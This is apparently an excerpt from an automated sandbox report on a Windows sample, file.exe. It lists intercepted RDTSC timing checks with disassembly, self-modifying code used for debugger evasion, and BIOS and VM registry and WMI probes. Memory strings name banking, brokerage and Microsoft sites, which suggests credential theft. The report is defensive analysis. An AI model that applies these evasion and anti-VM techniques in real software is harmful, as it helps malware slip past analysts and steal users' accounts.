Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2039A second address: 4A2048D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FEF0CF037BEh 0x00000013 sub al, FFFFFF88h 0x00000016 jmp 00007FEF0CF037BBh 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, edi 0x0000001e jmp 00007FEF0CF037C2h 0x00000023 push eax 0x00000024 jmp 00007FEF0CF037BBh 0x00000029 xchg eax, edi 0x0000002a jmp 00007FEF0CF037C6h 0x0000002f mov eax, dword ptr [769B4538h] 0x00000034 jmp 00007FEF0CF037C0h 0x00000039 xor dword ptr [ebp-08h], eax 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FEF0CF037BEh 0x00000043 sbb esi, 775F91A8h 0x00000049 jmp 00007FEF0CF037BBh 0x0000004e popfd 0x0000004f mov esi, 093D409Fh 0x00000054 popad 0x00000055 xor eax, ebp 0x00000057 pushad 0x00000058 pushfd 0x00000059 jmp 00007FEF0CF037C1h 0x0000005e sub si, 8DC6h 0x00000063 jmp 00007FEF0CF037C1h 0x00000068 popfd 0x00000069 mov bl, ah 0x0000006b popad 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007FEF0CF037C2h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2048D second address: 4A20493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20493 second address: 4A20499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20499 second address: 4A20533 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e pushad 0x0000000f mov si, E90Dh 0x00000013 pushfd 0x00000014 jmp 00007FEF0C869B7Ah 0x00000019 xor cl, 00000028h 0x0000001c jmp 00007FEF0C869B7Bh 0x00000021 popfd 0x00000022 popad 0x00000023 lea eax, dword ptr [ebp-10h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FEF0C869B7Bh 0x0000002f sbb cx, E46Eh 0x00000034 jmp 00007FEF0C869B89h 0x00000039 popfd 0x0000003a pushfd 0x0000003b jmp 00007FEF0C869B80h 0x00000040 jmp 00007FEF0C869B85h 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20533 second address: 4A2057A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEF0CF037C7h 0x00000008 mov ecx, 75A005BFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr fs:[00000000h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 call 00007FEF0CF037C7h 0x0000001e pop eax 0x0000001f movsx edx, cx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2057A second address: 4A20580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20580 second address: 4A205DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-18h], esp 0x0000000e jmp 00007FEF0CF037BEh 0x00000013 mov eax, dword ptr fs:[00000018h] 0x00000019 jmp 00007FEF0CF037C0h 0x0000001e mov ecx, dword ptr [eax+00000FDCh] 0x00000024 jmp 00007FEF0CF037C0h 0x00000029 test ecx, ecx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov ecx, ebx 0x00000030 mov ecx, ebx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A205DA second address: 4A20628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FEF0C869BEDh 0x0000000f pushad 0x00000010 mov eax, 35AC700Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007FEF0C869B88h 0x0000001d sbb ax, 9158h 0x00000022 jmp 00007FEF0C869B7Bh 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10312 second address: 4A10318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10463 second address: 4A10480 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A104EA second address: 4A104F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A104F0 second address: 4A10511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, al 0x00000005 movsx ebx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edi, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEF0C869B82h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10511 second address: 4A10538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEF0CF037C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10538 second address: 4A1053E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1053E second address: 4A10542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10542 second address: 4A10572 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007FEF0C869B7Bh 0x00000015 pop eax 0x00000016 mov edi, 71B83E1Ch 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10572 second address: 4A10577 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10577 second address: 4A105B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, 78DDh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FEF0C869DA3h 0x00000011 pushad 0x00000012 push esi 0x00000013 mov ecx, edx 0x00000015 pop edx 0x00000016 push ecx 0x00000017 movsx ebx, cx 0x0000001a pop esi 0x0000001b popad 0x0000001c lea ecx, dword ptr [ebp-14h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 movzx esi, bx 0x00000025 jmp 00007FEF0C869B83h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A106EF second address: 4A106FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A106FE second address: 4A10753 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEF0C869B7Fh 0x00000009 sbb ah, 0000000Eh 0x0000000c jmp 00007FEF0C869B89h 0x00000011 popfd 0x00000012 movzx esi, di 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 js 00007FEF0C869BF1h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FEF0C869B85h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10753 second address: 4A10757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10757 second address: 4A1075D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1075D second address: 4A10772 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 movsx edi, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c cmp dword ptr [ebp-14h], edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10772 second address: 4A10778 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10778 second address: 4A107BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FEF7EE514C3h 0x0000000f pushad 0x00000010 mov edx, esi 0x00000012 pushfd 0x00000013 jmp 00007FEF0CF037BAh 0x00000018 xor ecx, 2EBFDC78h 0x0000001e jmp 00007FEF0CF037BBh 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebx, dword ptr [ebp+08h] 0x00000028 pushad 0x00000029 mov edx, ecx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107BF second address: 4A107D0 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 7D43h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107D0 second address: 4A107D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107D5 second address: 4A1082C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEF0C869B83h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007FEF0C869B82h 0x00000011 mov dword ptr [esp], esi 0x00000014 pushad 0x00000015 mov eax, 31BB37BDh 0x0000001a mov ah, 92h 0x0000001c popad 0x0000001d push edx 0x0000001e jmp 00007FEF0C869B82h 0x00000023 mov dword ptr [esp], eax 0x00000026 pushad 0x00000027 push ecx 0x00000028 mov ax, di 0x0000002b pop edi 0x0000002c push ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1082C second address: 4A10885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xchg eax, ebx 0x00000007 jmp 00007FEF0CF037BEh 0x0000000c push eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FEF0CF037C1h 0x00000014 sbb al, FFFFFF96h 0x00000017 jmp 00007FEF0CF037C1h 0x0000001c popfd 0x0000001d mov ecx, 31E8E307h 0x00000022 popad 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 call 00007FEF0CF037BFh 0x0000002c pop ecx 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10010 second address: 4A10016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10016 second address: 4A100B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FEF0CF037BEh 0x00000011 push eax 0x00000012 pushad 0x00000013 mov esi, edi 0x00000015 mov cx, bx 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FEF0CF037C5h 0x00000021 adc eax, 2C009056h 0x00000027 jmp 00007FEF0CF037C1h 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007FEF0CF037C0h 0x00000033 and cx, 6A78h 0x00000038 jmp 00007FEF0CF037BBh 0x0000003d popfd 0x0000003e popad 0x0000003f mov ebp, esp 0x00000041 jmp 00007FEF0CF037C6h 0x00000046 xchg eax, ecx 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a mov edx, eax 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A100B1 second address: 4A10115 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEF0C869B88h 0x00000008 jmp 00007FEF0C869B85h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushfd 0x00000011 jmp 00007FEF0C869B80h 0x00000016 sub al, FFFFFF98h 0x00000019 jmp 00007FEF0C869B7Bh 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FEF0C869B7Bh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10115 second address: 4A10119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10119 second address: 4A1011F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1011F second address: 4A10146 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEF0CF037BAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10146 second address: 4A1014A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1014A second address: 4A10150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10150 second address: 4A1016F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], 55534552h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1016F second address: 4A10173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10173 second address: 4A10179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10179 second address: 4A1017F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1017F second address: 4A10183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10E11 second address: 4A10E4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 call 00007FEF0CF037C6h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEF0CF037C7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30887 second address: 4A308AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A308AC second address: 4A308B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A308B0 second address: 4A308C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A308C3 second address: 4A3095B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov al, 14h 0x0000000d call 00007FEF0CF037C9h 0x00000012 pushfd 0x00000013 jmp 00007FEF0CF037C0h 0x00000018 xor esi, 50A419E8h 0x0000001e jmp 00007FEF0CF037BBh 0x00000023 popfd 0x00000024 pop esi 0x00000025 popad 0x00000026 push eax 0x00000027 jmp 00007FEF0CF037C6h 0x0000002c xchg eax, esi 0x0000002d jmp 00007FEF0CF037C0h 0x00000032 mov esi, dword ptr [ebp+0Ch] 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FEF0CF037BAh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3095B second address: 4A3096A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3096A second address: 4A30A24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FEF0CF037BCh 0x00000012 adc ch, 00000038h 0x00000015 jmp 00007FEF0CF037BBh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FEF0CF037C8h 0x00000021 add ecx, 48219698h 0x00000027 jmp 00007FEF0CF037BBh 0x0000002c popfd 0x0000002d popad 0x0000002e je 00007FEF7EE2119Bh 0x00000034 jmp 00007FEF0CF037C6h 0x00000039 cmp dword ptr [769B459Ch], 05h 0x00000040 jmp 00007FEF0CF037C0h 0x00000045 je 00007FEF7EE39248h 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FEF0CF037C7h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A24 second address: 4A30A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 2Eh 0x00000005 mov ch, FAh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A34 second address: 4A30A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0CF037BBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A9A second address: 4A30AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30AA7 second address: 4A30AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30AAB second address: 4A30AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CCEE17 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CCEEE0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E8F6F5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EEFE14 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1579	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1192	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1490	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1143	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 3632	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3632	Thread sleep time: -124062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2196	Thread sleep count: 1579 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2196	Thread sleep time: -3159579s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6972	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3728	Thread sleep count: 1192 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3728	Thread sleep time: -2385192s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4060	Thread sleep count: 1490 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4060	Thread sleep time: -2981490s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6136	Thread sleep count: 1143 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6136	Thread sleep time: -2287143s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2196	Thread sleep time: -30015s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.3055705952.0000000000E48000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000002.3054393760.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739749651.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2755327475.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3025441518.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3053674176.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739043514.0000000000713000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWu}W
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, file.exe, 00000000.00000002.3054393760.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739749651.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2755327475.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3025441518.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3053674176.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3028501929.0000000000721000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739043514.0000000000713000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2739922568.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000002.3054319917.000000000069E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8aq%SystemRoot%\system32\mswsock.dllJ
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
